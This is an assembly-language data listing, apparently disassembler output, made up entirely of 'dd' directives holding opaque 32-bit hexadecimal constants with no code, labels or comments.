		dd 0B01DE52h, 0D4214000h, 29F3C6D7h, 312B16D8h,	0BDCD00A1h
		dd 0AFA69438h, 816E4800h, 98902521h, 0B2FE0059h, 0AA4BFC9Ah
		dd 44099950h, 0C0F6A9CCh, 1C53B5D8h, 97B339h, 0AFFEC138h
		dd 0D6000345h, 17818A13h, 13966157h, 1D48D05h, 9EEDE7B9h
		dd 0A5AC2031h, 4907B890h, 5C6010B5h, 6297E020h,	9D6E00CDh
		dd 6C00B2Ch, 5B1C0F7Dh,	35032D9Ah, 900159F6h, 0FD4943h
		dd 4881370Ch, 5AB8AF39h, 145EBB01h, 0EB8C3250h,	51748440h
		dd 187987Ch, 78E6496Bh,	3D7B1D3Dh, 0D00C2C48h, 0EFC0651Fh
		dd 0BB03CEDDh, 8622006Eh, 0D2E84FEBh, 64079F47h, 4B339863h
		dd 998D62B0h, 0C5E13F90h, 97CA7300h, 0BDFB5725h, 1898E800h
		dd 9BC0313h, 0F8A63Fh, 5AAA2C9h, 84E83AF3h, 0D4B80300h
		dd 5F4B250Ah, 9E452CA8h, 0A16E80B0h, 1DF8EB6Dh,	0EC22E100h
		dd 4B0F7AF9h, 0CE2B001Fh, 9F0EC0DFh, 0C7030CFAh, 0F1B0C4E8h
		dd 5F37B0B1h, 0E5D55092h, 0DC90086h, 0BBA71A0h,	815864FEh
		dd 0CE057D23h, 529E63B0h, 3075CB80h, 0B10F0087h, 0A2068EAh
		dd 0A800ED5Eh, 0FCDDCFA2h, 0E414502h, 71158389h, 8FF98BC3h
		dd 3B93DBFBh, 0DC1D0BF1h, 734A252Dh, 11D02C87h,	0EEA64667h
		dd 2B849h, 308D71C2h, 753D055Ah, 44401D0Bh, 0B120803Fh
		dd 0ECE59D7h, 56D4B765h, 7912405Dh, 4451A089h, 47A8D800h
		dd 0DCCD850Bh, 883E00DEh, 8E049C2h, 8B72FB9Eh, 0D4A60200h
		dd 0D52E5E47h, 0EA5200FAh, 2CD6B6A5h, 0F002B48h, 0CB9A9B6Eh
		dd 1B707A4h, 1B4C2E0Ch,	0C002DF54h, 0DE0A13CFh,	9E533D2Ch
		dd 0B55A8038h, 2BC85423h, 0C183013Eh, 0E75F9F8Dh, 96D7D8ABh
		dd 0D50166FEh, 219E6E37h, 44CCA4B2h, 2EA51F1Ah,	0C433C0B7h
		dd 29671D1Fh, 65A0338h,	0AF627F04h, 254600D8h, 0CC4BD4C7h
		dd 840092C9h, 47CD4540h, 0B23AF1h, 9F34859Eh, 5DFC22D6h
		dd 5E4DA400h, 490B0541h, 80C0BBAFh, 3B1E469Eh, 0DD0B9638h
		dd 5BAC07h, 82FE76DAh, 44630053h, 72A4E2BFh, 0DE008E4Bh
		dd 0AB33A173h, 0F117D7h, 1A8997FAh, 68A3A78Ah, 3B5D2E1Dh
		dd 31056000h, 1CFF3AEh,	0ADB04CEh, 0F2E87F54h, 0F44E0D60h
		dd 76488B27h, 5FAC1F49h, 33037A50h, 19BC2E35h, 9471F9A0h
		dd 78F5FF00h, 8C13D574h, 0E9760701h, 0D035306Dh, 0B46BCC24h
		dd 8080C23Dh, 0C7E8C846h, 2470B814h, 8EDBADh, 0BCC9C585h
		dd 0A7F4177Ah, 323864ECh, 781380B0h, 0C29BD868h, 0D51413E1h
		dd 0B7B8008Ah, 0DFBED941h, 1C85043Dh, 4E809AC6h, 0FC664736h
		dd 7C670090h, 298243AFh, 0B057BBBh, 94EE03C2h, 49BCF081h
		dd 1EAF97E4h, 0EFFE42h,	157811FAh, 12001874h, 0C8EDA3BBh
		dd 0B1DDA454h, 88440BECh, 28B9F400h, 0B6004A4Fh, 8BA870Eh
		dd 75F206h, 0EBB813FCh,	6FCB3795h, 9315F500h, 0BE50BDD8h
		dd 0F9FC1F3Ch, 0F27B0063h, 0EA089127h, 3E05AC2Eh, 72360D00h
		dd 0D4B94Ah, 0B24C955Ah, 28A0D369h, 4260C100h, 3D7FFFEAh
		dd 0E5CD0F19h, 8A24BF20h, 0ED44C896h, 0E2D72A00h, 0C167EFB2h
		dd 68700DBh, 0E8D9BE4Ch, 82EF418h, 50708D6h, 83325E81h
		dd 0A86E40B9h, 74ED0E98h, 76201309h, 84EEA21Ch,	965DE500h
		dd 0D88F9A66h, 869E0097h, 88D51F4Fh, 91032E42h,	0EDBEFDB9h
		dd 0C8BBEB72h, 7AD6158h, 0D270F041h, 0ACB7106Fh, 0DF246709h
		dd 3D00DB91h, 13238915h, 0DD380F43h, 0D28057F3h, 0B1BF4B67h
		dd 0A80BB200h, 0E0FE28E5h, 90E64Dh, 7760DDFCh, 8A9A55F8h
		dd 141D2DF8h, 6B4353FDh, 0B3B4C46Ch, 0D095B337h, 0FC9E51F0h
		dd 6930009Ch, 6D892DABh, 87005FA8h, 0BAEB8E70h,	7CC81D7h
		dd 86185AEDh, 802DF4E8h, 0C134160Ch, 51BB2207h,	0ECB0B3C2h
		dd 0FE996779h, 0A27201FDh, 0E7CEFC43h, 12F02B7Ah, 8CEC24E0h
		dd 8B590F6Eh, 0FFF40660h, 6C00A8E1h, 0BEFE0C22h, 7B3DC6BCh
		dd 13D238A2h, 0BD620900h, 0F6156B7Ah, 1DC10600h, 1107AC0Fh
		dd 0F03B4CD9h, 91A1D302h, 186849BEh, 9804AA58h,	0F6E23FE4h
		dd 3BBF2C90h, 0A5AD0042h, 0F149BB5Ch, 9C1D6094h, 0D6000F5Dh
		dd 223404BAh, 3FD82E46h, 834E00B9h, 0DC773284h,	0C6444500h
		dd 1AFE8BD6h, 5B9A0026h, 718EE2A2h, 0B700C0CBh,	93427E5Ah
		dd 1FF21649h, 4001B5C5h, 0FBFE5786h, 1000B7F3h,	0E4AF8D2h
		dd 0ADF246h, 8D0CEA0Bh,	0F5D85669h, 0EF1CAA00h,	19E9C596h
		dd 142E01F7h, 62BD3BDBh, 487842h, 0D8B58AA3h, 0ADC15Ah
		dd 89DF4C6Bh, 6953FC27h, 33253407h, 8180A968h, 0C60528h
		dd 9CEA8E7Eh, 340FB580h, 0C0C56D16h, 1E022E01h,	970A01Dh
		dd 3D0C00D0h, 0E848D25h, 0F0088A2h, 0E18BC337h,	0ABEB16h
		dd 1DB5FF74h, 3B1F3AB0h, 0B62A1A05h, 20C38EDDh,	0CDA9D071h
		dd 80940033h, 139CA3F8h, 93A2492h, 58A08E78h, 412CC044h
		dd 1B2E068h, 1D7C1BA1h,	0F4A71E51h, 7800D40Dh, 9F5A4692h
		dd 0A1937BBh, 0E69C4875h, 88FB00C8h, 347B2C60h,	4F009EE4h
		dd 11757302h, 3FC3182Eh, 1500DED9h, 0FD2D4350h,	7900784Fh
		dd 0EA73AACFh, 96DD7Ah,	0B40B15C2h, 0D233A9C4h,	8900F090h
		dd 0F0FD7EE3h, 3F42C1h,	135A29E1h, 0EFED6458h, 2CC0E94Ah
		dd 3D54A49h, 6BA204BDh,	0CCA00B9Bh, 0F7038A28h,	0E529C1B4h
		dd 418EF0D1h, 49AD0F50h, 51A0E955h, 0EDA0908h, 34AFB01Ch
		dd 0BCFC7C0h, 5018618Bh, 0E0A2A4h, 0D663FA8Ah, 71D18777h
		dd 0EB004D70h, 0F97C7955h, 0EADFA66Bh, 263002C3h, 0D31D58C2h
		dd 0A36DC82h, 9494C78h,	0BD9700ACh, 128AA88h, 6CB11D8Ch
		dd 654E0553h, 832CC42Ah, 0D680B084h, 0FD015837h, 0E3859D6Ch
		dd 97E03880h, 46093E65h, 0C1994E00h, 8F2BD1E6h,	9B009572h
		dd 1C1160BDh, 3B0932h, 58C399B1h, 762C46B2h, 3385C900h
		dd 90A41DBAh, 8D173D6Eh, 49D0B00h, 5D187C23h, 3BB18701h
		dd 0C863E32Fh, 0FB38F8h, 7A69C68Fh, 1473061Dh, 0DE185E01h
		dd 811C7D44h, 5CEAA820h, 0F500A5E2h, 0F40C12FEh, 7100F8FBh
		dd 0D5E4D0F9h, 87C51Dh
		dd 22D79111h, 0D3AF1E77h, 78C35507h, 0E95C4A3Eh, 91175F0h
		dd 700B64C4h, 3A3BA800h, 0AD036A83h, 0B87AC866h, 527BE06Ch
		dd 85584B79h, 2BDCE180h, 0DB998000h, 0BEFFDFCh,	111D2187h
		dd 0CBC0D4E0h, 29F09607h, 0D717ECA2h, 40CDE15Fh, 198069B4h
		dd 56D343B0h, 96006A8Ah, 0CE5A937Dh, 1995097h, 2995E782h
		dd 2827DA81h, 0F493B08h, 2756969Bh, 36A158C1h, 982832C7h
		dd 0B63A123Bh, 1F1EDF80h, 722E01Ah, 152D47F4h, 48D4A013h
		dd 3E8A2E66h, 61800931h, 96DEA69Dh, 14008460h, 5C305EB1h
		dd 0E30E12h, 0EABA65D0h, 43B82EB5h, 0B3E96E0Fh,	9D23E0FAh
		dd 87D664h, 7A757C4Dh, 0DA56F15Fh, 25FC3Fh, 495EBD29h
		dd 1BD30Eh, 0B1D21637h,	365D4384h, 0BD89090Fh, 0B8D07B2h
		dd 4AC4DF70h, 3F479E1h,	64F27708h, 0F08F798Ch, 62426520h
		dd 0B3DCCD00h, 6A43098Ah, 0E1C9025h, 7F22ECE2h,	0BBA80076h
		dd 385ED4E0h, 8F5B9300h, 62F4D330h, 0B8837DABh,	45AF0E83h
		dd 9A40D2EFh, 0F6DB7E85h, 0C5B7400Fh, 7B48C3A0h, 0DFCDD870h
		dd 9EFEA4h, 0B8FD4AF2h,	76C4E454h, 2A70ED01h, 12043C2Fh
		dd 1349C0h, 0C9F09319h,	0A2C7602Eh, 9C2A58h, 5A201B53h
		dd 0EEB55607h, 5F570083h, 777E03DCh, 6A027D6Fh,	2540D9C2h
		dd 88F059h, 6D84BEDBh, 8DE3720Ah, 7E5E6700h, 6B080B69h
		dd 0B77BA7h, 746D9652h,	92CC5F2Ah, 0DFC3F91Eh, 8AD02B00h
		dd 0DE8E4Eh, 1E6218E5h,	0F34431AEh, 836B6000h, 0D0C1F28Dh
		dd 0AC9808h, 69358042h,	0DF3C0A02h, 52007C98h, 0C7F6EAD9h
		dd 7FD6605h, 69BE7A3Eh,	0E202404Fh, 0A8B8E4BCh,	5970A700h
		dd 3EEB39ACh, 0E5670041h, 8816D740h, 0C3005257h, 0A58727E6h
		dd 0EF448578h, 4EF20B70h, 0AA2C308Dh, 0B30061DFh, 1397C7Fh
		dd 76368E4h, 46518D93h,	0D0AFA70Dh, 0AE409F45h,	0D7366504h
		dd 688008B8h, 2E27E9BFh, 7F83F60h, 0C03D0B68h, 9E1444F5h
		dd 54F7B07h, 0FB170CACh, 4E39180h, 0C2B8001Eh, 0CF1A6537h
		dd 0AB017966h, 7E8BCDD0h, 7AE443FBh, 9EB70048h,	7388FFA2h
		dd 7700913Fh, 4AED78B4h, 0B2515Bh, 301EE03Bh, 96AA7154h
		dd 9F336438h, 2180B4EAh, 0EE5A0AF8h, 1CB7797Ah,	9EB8DBE8h
		dd 3EE040FEh, 5B54FD8Ah, 0BBD6C307h, 6C703306h,	0B96583h
		dd 0A191CE0Eh, 320B57B4h, 8BCFD839h, 93487D1h, 8BACE0F1h
		dd 0D47E00BAh, 623D792Dh, 0EC912494h, 0A1594D00h, 0DC6376h
		dd 432FFDB1h, 27B0FF73h, 0F0FBBE00h, 0F4EA1372h, 688400EDh
		dd 0DF295907h, 6707E59Dh, 4F6AADD3h, 4C9460E0h,	0FE4300E7h
		dd 8ADFB01Eh, 2339700Ah, 3C0C037Bh, 0F79BB3D5h,	1F656120h
		dd 297400C7h, 90B9B841h, 4FC1BA6h, 97629103h, 99F5D434h
		dd 33D063C3h, 92C006Eh,	0C6378D4Ah, 7800E7B4h, 4510380Dh
		dd 27A6177h, 19164D82h,	10789A76h, 679D491Dh, 0B9953043h
		dd 3471E050h, 631C1D69h, 9C45006Fh, 0D36189FEh,	511A1900h
		dd 0F2E99D0h, 0DF170028h, 49C8CA29h, 0C60250E8h, 59D3E494h
		dd 5D6040B8h, 0A1710012h, 6DA56005h, 5A1CF447h,	8400C83Fh
		dd 254E4DBBh, 58FCD9h, 0D189F745h, 8C282104h, 0D000F373h
		dd 8E2B643h, 96802Eh, 1F95835Ah, 0CC350EDDh, 92A2AB03h
		dd 8302C840h, 3900EF13h, 39AA4BB2h, 8D3B5777h, 70305A80h
		dd 0FFD60809h, 1C8B348h, 26124641h, 0F630C148h,	20155CDCh
		dd 346C005Fh, 0F8EDD531h, 0F1BD8500h, 20D83D2h,	7D33AE0h
		dd 496D2300h, 6EE30B25h, 70939D01h, 8B575D6Ch, 4C81EABCh
		dd 5A56FBCFh, 76F32046h, 82D00B49h, 7E38CD58h, 91043184h
		dd 87AC78C5h, 0C0DF78FBh, 9A855B28h, 0DC8350E8h, 0E3D04F2h
		dd 0E9C163D6h, 0A46E006Ch, 6AE631FBh, 0DFB9009Dh, 9EC04A9h
		dd 0F90063F0h, 5E695046h, 5CA3297Ch, 7C4CF589h,	98630E7h
		dd 7400F47Fh, 2A324070h, 0DE69E8h, 0E2E76795h, 0D1750B52h
		dd 3BCFC400h, 0CDF33CB5h, 17B1007Ah, 5C55F134h,	14004F98h
		dd 8B12B89Fh, 178D28C4h, 58431Ah, 0CBDC1EE8h, 0F50091B9h
		dd 10B80A5Ch, 0E88A41h,	61BB387Dh, 0AC5D994Fh, 0D7ACF01h
		dd 0DB75296Dh, 5CA5CCh,	0F9165479h, 3F61C790h, 4FD09A00h
		dd 2E7CFB03h, 0E5F4E8h,	13F29BAEh, 3D459629h, 56B1C00h
		dd 8B7C25FDh, 2BA700CFh, 50EBEC9Ah, 1600E904h, 0A47AE792h
		dd 90091Ch, 3F1E6647h, 0A0DE4A38h, 88579307h, 3C7FF14Eh
		dd 510E80FBh, 90331F3Dh, 2DCB0762h, 14E39AF0h, 9772C0DDh
		dd 7E00E735h, 9B8A12B2h, 97FB65A8h, 0BCD1C800h,	9400AB69h
		dd 78C11B3Ch, 3865A688h, 68808198h, 0A06DEF01h,	8F1FE129h
		dd 70C71426h, 22E02032h, 2F7123Ch, 92AC6AF3h, 0D8684231h
		dd 0DE25914h, 1449CE4Fh, 0F01CE056h, 0A89A0613h, 0FC3F260Bh
		dd 0E2B0DF03h, 48AC96C3h, 7C006709h, 7FE69C58h,	0D57E90BBh
		dd 13FB3D01h, 81285EB0h, 0B8B1CCh, 0E8363822h, 0A11BD2C6h
		dd 13D04305h, 0B0E49DFEh, 61A409C1h, 30E127D1h,	504E2FA9h
		dd 428CA0BAh, 0E2460Ch,	2654043h, 3CA4FD4Fh, 0B6236212h
		dd 8080C8A6h, 948C7845h, 0A66F070Bh, 2A80B2Ah, 0E30227E8h
		dd 31AAC963h, 0F88EF1F8h, 1CEEFEF9h, 0DE102D82h, 0D31CC05Dh
		dd 7542A92Fh, 5FC5B903h, 0A852DC51h, 0E76AE23h,	0BAA12A6Bh
		dd 0E5D526E2h, 659C43E0h, 0E238FD00h, 0C0AFDA1Ah, 0D0920Bh
		dd 0FB7CB049h, 1BA43059h, 0F69F2B00h, 4A73E51Dh, 237E0012h
		dd 0F0FD7B66h, 1E008CFBh, 0A61C0FE4h, 0AB9C1Fh,	0C62DBCA4h
		dd 2440310Bh, 0C1FB1900h, 13E908F1h, 0C8B4BEh, 2A977F74h
		dd 4D5E2601h, 25A0E037h, 0A9C69Eh, 0FA3D7551h, 0F6A12FCEh
		dd 1E87711Eh, 4E9E0407h, 86D6CF0h, 7DD403E5h, 0AC7A5B31h
		dd 0EBF5B0D0h, 0ABB758h, 1990B84Bh, 4055C87h, 0B9247764h
		dd 56FF816Ah, 605AF10Fh, 5F00FCC5h, 0E6F7CF40h,	1ED0615Ch
		dd 1D6E27DEh, 0CA4B008Eh, 3B71B467h, 1AE1BA00h,	0C960289Fh
		dd 0BB7E40h, 593FA8E4h,	33CC5E63h, 3644B100h, 0FFEDD94Dh
		dd 0D7970FBCh, 9100C7E6h, 697730A3h, 3B90C84Ch,	0F14880F8h
		dd 5AD8D09Dh, 22C71CA7h, 314100FBh, 0CA77F683h,	9406D900h
		dd 78EED3D7h, 15C5A045h, 0FA2E0066h, 543D1C4Fh,	0A00E427h
		dd 478A4633h, 2583A2h, 0B83EB289h, 0E79BA882h, 3527AE00h
		dd 0B1E8E5EAh, 0C37A03AAh, 0F80F1F23h, 0D00541C8h, 0FDB35A00h
		dd 5432F4C4h, 0BD95005Dh, 0E1E8BC26h, 0C500965Ch, 0A7BAA85Ah
		dd 6FCE5Bh, 913BD853h, 0E5FD8026h, 72DD6302h, 804E6BD1h
		dd 5AD551F4h, 65F1003Dh, 90E62BD9h, 6C01D660h, 342CC8D2h
		dd 97F0CBECh, 92DC00AFh, 91722EC6h, 4500DE07h, 0BBFEE8CFh
		dd 0DF089Eh, 0BDAA9AB4h, 2C46C61h, 6AE0184Fh, 308300C2h
		dd 0EF2AEB05h, 4325C9B4h, 0B2C84048h, 85FC6Bh, 4201AC0Fh
		dd 8FECC83h, 47039CE2h,	594A411Bh, 5A2FB825h, 67E221h
		dd 0E8EE5CE4h, 2A5538CCh, 0ACC4851Fh, 0A35E4B00h, 16D211h
		dd 0DF5FC8DCh, 998C190Eh, 1EA6B605h, 0B8031AFh,	774452h
		dd 53467303h, 9FCCAD12h, 373A8B00h, 87637570h, 64E60016h
		dd 96CDDC4Eh, 7B804ECh,	0B5BC4400h, 831B8E54h, 0F9BE00DDh
		dd 0EDEE9025h, 0E203FD19h, 649969Eh, 0AC10002Ch, 31D15743h
		dd 0D63B9144h, 0E0880005h, 0A94A07Eh, 0C4700BDh, 0D36D2221h
		dd 5C001D87h, 63113ADBh, 0FA0566CDh, 0C9CA0035h, 427139A2h
		dd 5B3A6FB4h, 6E49850Ah
		dd 0EA805F0Bh, 1E0C88Fh, 1850B735h, 0D0BA6896h,	0A500767Dh
		dd 0EC670DF1h, 289A28BEh, 0EF3553Dh, 0F0B7793h,	0C0374B45h
		dd 1CD2ACA1h, 1E3B4F7Ch, 0D6CF00C2h, 0AB419A47h, 649D16C8h
		dd 0A03CE0F3h, 8FFC232Fh, 22ADE0DCh, 0F824Ah, 2007754Fh
		dd 54FFA81Bh, 91F1BE1Ch, 0AB63EB43h, 10DFD887h,	0F37A006Ah
		dd 6556D342h, 4A0E187Eh, 603C336Bh, 0E1E30D8Ah,	7A77007Fh
		dd 810B6263h, 59073925h, 76B1D129h, 7AB0508Bh, 0AA86002Dh
		dd 5D9B68FCh, 24074E2Ch, 0CB7375FFh, 71894FE7h,	84022D28h
		dd 5E20A35h, 0E800A476h, 512762A9h, 1F0FB01Ah, 0C00FE044h
		dd 0BACB35Dh, 100103ABh, 51EEF3CCh, 77F4D199h, 0C6A800E1h
		dd 0BBC1053Ch, 960087FAh, 334F9E16h, 0DFF9C9h, 839CD85h
		dd 0F12E5B83h, 681DFA00h, 166D94DBh, 30292702h,	5F01435Ch
		dd 0C6DDE4BDh, 38F9AC60h, 7600EA56h, 60833016h,	50007BDFh
		dd 5BA8D7C8h, 18857C5Fh, 2A329B9Fh, 7200F1AAh, 8864129Dh
		dd 209379Ch, 5B207C9h, 0F9605FB5h, 5D0F3145h, 408B6B3Bh
		dd 63ACB8F8h, 464200E1h, 0DB23FEECh, 0F7037812h, 3544E80Dh
		dd 0C4D9D822h, 82873BFBh, 73CDC384h, 3CBCC00Ah,	0DF0072B9h
		dd 0E0036EDCh, 124BBEEDh, 0B5A9E466h, 9D445040h, 0C3E807CDh
		dd 1981FF02h, 6172AA60h, 542F5820h, 0CF0EFAFCh,	1560D30Ah
		dd 6BC6F1EBh, 0CD93AD00h, 0C00BAB58h, 8340B35Dh, 98CF4825h
		dd 10784FC2h, 1A57081Fh, 0AE8E807Fh, 8A0C6118h,	6601006Ah
		dd 0BDCA3452h, 0FC3BF12Fh, 8600FDCDh, 0B54E3AC6h, 1E4812FEh
		dd 0C0151718h, 4DB14383h, 851FF4F3h, 0CC452779h, 58C0DF57h
		dd 75E8725h, 5322493Ch,	11C9F045h, 9B07712Eh, 0F6664FC1h
		dd 0B85685C3h, 32AC774h, 93CA4AADh, 4F90C8BCh, 5C0E7E69h
		dd 20CDC445h, 382FC0EFh, 4B3E00D1h, 0F45A070Ch,	7100D4A3h
		dd 4D16A4E5h, 0EBB7E58h, 50AD0659h, 80BD801Ch, 925713E4h
		dd 525C2A00h, 5EF9F4D7h, 1338B87Bh, 0C0083CCAh,	85BB2EB8h
		dd 0DA589200h, 2901ED2Ah, 4375005Ch, 0A4231352h, 0A700B45Bh
		dd 0B682E8A5h, 2777F2h,	0E5B2F4B0h, 760DC432h, 0A838FC18h
		dd 9CEEEB6h, 5B4EA699h,	59A5B483h, 15106DA8h, 34F1B513h
		dd 0E8764580h, 0B78200BAh, 420D6758h, 6100901Dh, 98791951h
		dd 2C06B19Eh, 1FD0A9B6h, 0AF1280D7h, 181DBE0Fh,	18A73630h
		dd 797121h, 63E4A4B0h, 0F17FB777h, 1B7E3Ah, 40126673h
		dd 74CA9570h, 76CF00A6h, 0F0848C5Bh, 0B80FEBCBh, 724F9DEEh
		dd 3FFE9480h, 0FA07060h, 0D3A3D161h, 0A424CE80h, 4C07A529h
		dd 0E8B42A23h, 7EFDBE60h, 1084009Ch, 46D46943h,	64005642h
		dd 0FEC35767h, 7312B9CCh, 0FBE01C52h, 0C7D1800Fh, 2CD5EA3Ch
		dd 44C18C5Bh, 0FACC5A62h, 0E56100CFh, 0EE69C511h, 3000C486h
		dd 0ED3CF5BDh, 77E31ABh, 0A486260h, 0E403C058h,	513DAC5Ah
		dd 1D03D67h, 0FACE93B0h, 3BFC73A1h, 0BD690035h,	0DEEE9CC6h
		dd 0B798142Eh, 0ACF7F300h, 82EA1EAEh, 60420063h, 124A1FC6h
		dd 5E005010h, 8AC1F686h, 0B1C76h, 6C147F39h, 23ECA987h
		dd 4F00F290h, 76D3E0E1h, 1F908DEAh, 8B730BA5h, 0ACD8B30Ah
		dd 4767F700h, 4CA69710h, 0B59A3E75h, 0A28B5180h, 8DD1ACD5h
		dd 186C8400h, 69FC5941h, 6B78A4h, 0A332E8CDh, 0DA61D56Dh
		dd 0E00B5D7Bh, 828E3060h, 0E0475C9Fh, 33D2B8h, 4FED1B0Ah
		dd 0F1F5CCC1h, 6CB1540Ch, 9AA72C6h, 0A5467BB4h,	0AB2E1CD0h
		dd 14010CD0h, 9D4869D6h, 201E2C3Dh, 2CBE036Ah, 0D88A7356h
		dd 0B7753260h, 2B7A9E07h, 4D60A1D9h, 2D7D6F1h, 3E45F19h
		dd 4FEA479h, 8B96B904h,	884A001Eh, 0F0E2BFAAh, 694BA40Bh
		dd 0C40012Dh, 0EBE3ABB9h, 11110795h, 0A0656482h, 0A7E208F5h
		dd 0AFCE7106h, 1658D5F7h, 0AEE685CCh, 0E0817C16h, 0C0E1DB16h
		dd 0F103C839h, 0E00CE8F6h, 0B4398900h, 30AFF318h, 633FC71h
		dd 9220AB76h, 0C6164108h, 0F483B63Dh, 0BFE7D84Eh, 14727448h
		dd 1458442Ch, 53508E00h, 40ECE0F3h, 2A5CC40Bh, 2E1700A5h
		dd 58B9DCD1h, 4E1E84FAh, 9B1E009Dh, 0EC6C10ABh,	7DB53Bh
		dd 0DB24E1EBh, 0F3227Fh, 0CC010F78h, 0B980591Ch, 2B54600h
		dd 6CF79A70h, 0E56E006Fh, 3E8A27F1h, 4948EBCDh,	0F793243Dh
		dd 0E300871Eh, 64B99454h, 0D61201C4h, 0E40D7B28h, 33F2F84Fh
		dd 4B63DD00h, 0B91A8D74h, 0E88B00A1h, 0C2B7FFDCh, 0A401777Ah
		dd 0D5E39F32h, 70E9525Eh, 28364F30h, 0F01FCAh, 0F8A9077Bh
		dd 852FB0DDh, 0C2B8C100h, 0FECCA5EDh, 8D410AB7h, 0DCC5F0h
		dd 0B3B463CFh, 10C0C6AFh, 0EF9130CDh, 0FF950096h, 0ADFAFC08h
		dd 7801AE0Ah, 7680BA84h, 0D0404610h, 48623D3h, 7926B1E0h
		dd 4B0DC00Bh, 0D700329Fh, 7FFDD84h, 1C874DE2h, 0C1BA74E8h
		dd 0FE17BB8h, 0D5B5F46Eh, 47CBEB00h, 0DBB98AAEh, 14873979h
		dd 4D3B2980h, 0AFC50B02h, 7DC8FA01h, 92AE2AAh, 76719080h
		dd 374C55F8h, 79E16D00h, 2CADF91Dh, 47C40314h, 0D34E580Fh
		dd 23820980h, 0CFC6D9C0h, 1DA35E24h, 30758DC9h,	0F2FB5218h
		dd 0B6A07C60h, 48CAD4h,	0B34B1416h, 0AB6D3840h,	0C21678B5h
		dd 2AEDA659h, 4398D707h, 0FECCE4Ch, 0C89F1099h,	980479EDh
		dd 0BF444DB7h, 0FF90451Eh, 41225808h, 1063D22Bh, 104977D4h
		dd 0C72D8D47h, 0AC8A5AEh, 42C83DCh, 237350Fh, 23CD457Ch
		dd 0B12AEC6Ah, 0B0182C3Fh, 0D1B0AA17h, 0CA2A84CBh, 0C0118409h
		dd 0DF1147D3h, 5A082541h, 683915E8h, 2901ACBDh,	0D60FE50Dh
		dd 0CAA3F415h, 0E36B700Fh, 5F7840FFh, 5092B01h,	23B8BA2Ch
		dd 0FD9400F1h, 72D4B72Fh, 34804Dh, 134736B6h, 0C345FF6Bh
		dd 0E5E931C8h, 388D1FBh, 67007226h, 0AE7EDFB9h,	6A485D7h
		dd 0C5F86DDCh, 1AFAA0E1h, 0A73E6798h, 3F43EC9h,	84AC32D5h
		dd 0B9B80FDEh, 5E7D5891h, 10B4C048h, 433A567Fh,	0AD3C657Ch
		dd 3B2080C3h, 85E3A1BAh, 0F5940767h, 29056C4h, 7880A248h
		dd 0B80E9DC5h, 0B5F75505h, 8C421146h, 601CB496h, 1DAD7150h
		dd 9E42B30Fh, 85873F52h, 0C0724F66h, 376B9FCBh,	0CEA55300h
		dd 1A23B648h, 83300E4h,	0C80D01F8h, 0DA00AA6Bh,	0BA634611h
		dd 12C1B704h, 0F0ED9685h, 1CE87748h, 6C904803h,	0F9F7D855h
		dd 8980DF9Ah, 0BA6E5A66h, 4A00810Bh, 4BFB34A5h,	0C0CE6723h
		dd 52E1C346h, 59495E61h, 80B60A4Ch, 0DF056451h,	0C01D407Ch
		dd 0A6001028h, 94416217h, 2D82592h, 0BE85DE06h,	217682F7h
		dd 0B340A21Ch, 2481AEB5h, 0CED10045h, 4B679914h, 2700C052h
		dd 0E01F51FDh, 0FB5D88h, 0C1682955h, 0ADDE829Ch, 0CD87660Fh
		dd 8383AFC5h, 0E185F68Ah, 0F4C0DFABh, 0FC1F8D1h, 860E149Dh
		dd 0EB3C5880h, 0B903AFF9h, 0CD4913F2h, 2225C0E2h, 8F9E015Ch
		dd 0C5E0D12Ch, 31088027h, 5F9E44Ah, 9B5C0718h, 501C0946h
		dd 0EC101AB2h, 0FEA45D00h, 98C0998Bh, 0B3C500F9h, 94D1E3E2h
		dd 0D260E0CFh, 0A43FD910h, 0EBC42E06h, 8D6007D2h, 0D0C2438Ch
		dd 0A7E42007h, 4440A205h, 0F62FB9h, 36FDCB78h, 3399B4BDh
		dd 1D07F14Ch, 0D443F29Fh, 94E7508Bh, 4A6E6380h,	0B44D006Ch
		dd 5EEBF698h, 0FD798D5Ah, 11304BECh, 86D329ECh,	5770015Dh
		dd 6E44C037h, 29088CE7h, 41B8E5h, 14E34CFFh, 1AD70F5Fh
		dd 0B908A81Dh, 0A4FD8E01h, 0D8839815h, 0E0D577F2h, 2352F000h
		dd 0A5972EB7h, 0A110030h, 904EB20Eh, 0AD001B66h, 990802ABh
		dd 0F0F175h, 3B145C10h
		dd 0D51CD889h, 831BC000h, 0BD2B1ABFh, 58154CF8h, 0E1920803h
		dd 72DF7F37h, 35C051D8h, 603FD533h, 0AE46039Bh,	0A07B0689h
		dd 1DC07DB9h, 80399F58h, 0B3CD79F4h, 100E3AC4h,	1D7E38B0h
		dd 0F87A4C40h, 13514BE2h, 0A0EC16h, 9FBD3E54h, 0E400938Bh
		dd 8DD2FBE8h, 0BA3995h,	98AA2C15h, 0DCA9C436h, 12674300h
		dd 0E564681Eh, 14B88Eh,	0B9F41C44h, 3AB8795h, 0BC70610Ch
		dd 0A71615Ah, 4A8F638Bh, 930600B7h, 0AD85FC92h,	5CB96C00h
		dd 0D4C8869Fh, 3504009Dh, 0FD3677F3h, 1E1DC0D0h, 4E40C148h
		dd 3BA8C2CBh, 346F037Ah, 0EAFF7DF3h, 6C1B41BEh,	0C0B0E03Ah
		dd 286E697h, 32CEBBE1h,	888036D9h, 46CB6B6Fh, 0A3A9D601h
		dd 1DBF96Ah, 0B87EC4h, 0D89D40F0h, 9BB99CEAh, 0E9001DF8h
		dd 63C935FEh, 751FF4F1h, 0F0A45CA7h, 0F7304F03h, 10293EAEh
		dd 185E04ABh, 10C0FEA7h, 1B004F2Bh, 0A3F8B1A0h,	0AB4C6Eh
		dd 8EDAA895h, 16DDA7BAh, 0C122D5Ch, 289ECDE5h, 0F4654147h
		dd 0C60058F2h, 0B271AA5h, 75AE4B0h, 1773D21Ch, 0E00E7292h
		dd 4BF0E9C3h, 510094ADh, 9B91D154h, 0A19856h, 0FC3C6776h
		dd 116F0677h, 0F648A600h, 62FFA74Bh, 0F3C700C9h, 63542F9Eh
		dd 0CC0066BBh, 1828405Fh, 1E233BB0h, 34DFBBCh, 20C04688h
		dd 8BEE60A0h, 0A352F100h, 337870BFh, 825400D3h,	95768D67h
		dd 2078FF3Ch, 0CD00ED7Eh, 0DAE2618h, 531A87h, 0C41F0E40h
		dd 9CD2D1A1h, 0E80C810Eh, 36E600E5h, 168DF050h,	0A6C6D5Dh
		dd 7A85CCFh, 0B35A454Dh, 49C87948h, 0C31EF536h,	9B009F05h
		dd 86908AD6h, 0E1E70FB5h, 357A508h, 1A888CF2h, 0FB0DEDF8h
		dd 6703437Dh, 0CF7583Dh, 2670A884h, 0E6C504FEh,	80745A64h
